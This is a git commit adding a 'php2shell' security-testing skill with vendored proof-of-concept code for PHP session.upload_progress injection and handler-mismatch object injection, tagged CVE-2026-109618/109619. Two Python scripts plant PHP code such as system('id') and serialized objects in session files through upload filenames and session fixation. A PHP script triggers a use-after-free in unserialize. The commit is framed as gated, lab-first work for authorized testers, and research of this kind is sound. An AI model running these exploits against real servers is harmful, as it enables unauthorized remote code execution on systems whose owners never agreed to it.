feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs

Implements #109. Skills ship the chain-1 workflow (session file injection
through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619)
with hard gates: authorized targets only, program zero-day policy checked
before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive
detection before exploitation, lab-first practice via the vendored docker
lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot
verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell
with attribution and the MIT notice (upstream declares MIT in its README).
This commit is contained in:
BaaRai
2026-10-21 14:52:40 +02:00
parent 43a072861d
commit 750f4eb091
8 changed files with 739 additions and 0 deletions
@@ -0,0 +1,109 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
Demonstrates:
1. Session written in php_serialize format (via directory with .user.ini)
2. Pipe | in filename preserved in php_serialize format
3. php handler reads the session → splits at | → deserializes injected object
4. __destruct fires even when decode returns FAILURE (trailing data)
Setup required:
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
- /api/ directory with .user.ini: session.serialize_handler = php
- Both share the same session.save_path
Usage:
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def upload(host, port, path, sid, filename):
boundary = "MISMATCH"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--write-path", default="/app/upload.php",
help="Endpoint with php_serialize handler")
ap.add_argument("--read-path", default="/api/endpoint.php",
help="Endpoint with php handler")
ap.add_argument("--sid", default="mismatchverify0000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
print(f"[*] Target: {args.target}")
print()
# Step 1: Write session via php_serialize endpoint
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
gadget = 'x|O:8:\\"stdClass\\":0:{}'
print(f"[1] Writing session via {args.write_path} (php_serialize)")
print(f" Filename payload: {gadget}")
upload(host, port, args.write_path, args.sid, gadget)
print(" → Session file written in php_serialize format")
# Step 2: Trigger via php handler endpoint
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
resp = upload(host, port, args.read_path, args.sid, "dummy")
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
print(f" Response: {status}")
print()
print("[*] Verification indicators:")
print(" - 'Failed to decode session object' warning = mismatch triggered")
print(" - 'Session object destruction failed' = __destruct fired on injected object")
print(" - If target has a class with exploitable __destruct → RCE")
print()
print("[*] Check target for:")
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
if __name__ == "__main__":
main()
@@ -0,0 +1,105 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
Demonstrates:
1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
2. Unvalidated filename stored raw in session file (can contain PHP code)
3. Session file created with attacker-controlled content
Usage:
python3 verify_session_injection.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def send_upload(host, port, path, sid, filename):
boundary = "VERIFY"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--path", default="/index.php")
ap.add_argument("--sid", default="verifysession00000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Session Injection Verification")
print(f"[*] Target: {args.target}")
print()
# Test 1: Normal filename
print("[1] Testing normal filename...")
send_upload(host, port, args.path, args.sid + "a", "normal.txt")
print(" → Session file should contain: s:10:\"normal.txt\"")
# Test 2: PHP code in filename
php_payload = "<?php system('id');echo 'RCE';?>"
print(f"[2] Testing PHP code in filename: {php_payload}")
send_upload(host, port, args.path, args.sid + "b", php_payload)
print(f" → Session file should contain PHP code as raw string")
# Test 3: Pipe character in filename (for handler mismatch)
pipe_payload = "x|O:8:\"stdClass\":0:{}"
print(f"[3] Testing pipe + serialized object in filename")
# Need \" escaping for Content-Disposition
escaped = pipe_payload.replace('"', '\\"')
send_upload(host, port, args.path, args.sid + "c", escaped)
print(f" → Session file should contain |O:8: in the filename field")
print()
print("[*] Verification complete. Check session files on the target:")
print(f" cat /tmp/sessions/sess_{args.sid}a")
print(f" cat /tmp/sessions/sess_{args.sid}b")
print(f" cat /tmp/sessions/sess_{args.sid}c")
print()
print("[*] Key indicators:")
print(" - Session fixation: file created with attacker-controlled SID")
print(" - Filename injection: raw PHP code / serialized objects in session data")
print(" - No authentication required")
if __name__ == "__main__":
main()
@@ -0,0 +1,48 @@
<?php
/**
* CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
*
* Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
*
* Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
*
* Root cause: var_destroy() frees back-reference extension chunks (line 245),
* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
*
* For authorized security testing only.
*/
class TriggerUAF {
public function __destruct() {
fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
$result = @unserialize('R:1500;');
$type = gettype($result);
fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
if ($result !== false) {
fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
}
}
}
// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
// Then duplicate key to move TriggerUAF to dtor list
$N = 2000;
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i < $N; $i++) {
$payload .= "i:$i;i:$i;";
}
$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
$payload .= 'i:99999;i:42;';
$payload .= '}';
fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
fwrite(STDERR, "[*] Firing unserialize()...\n");
@unserialize($payload);
fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
fwrite(STDERR, "[*] Expected ASAN trace:\n");
fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");
fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");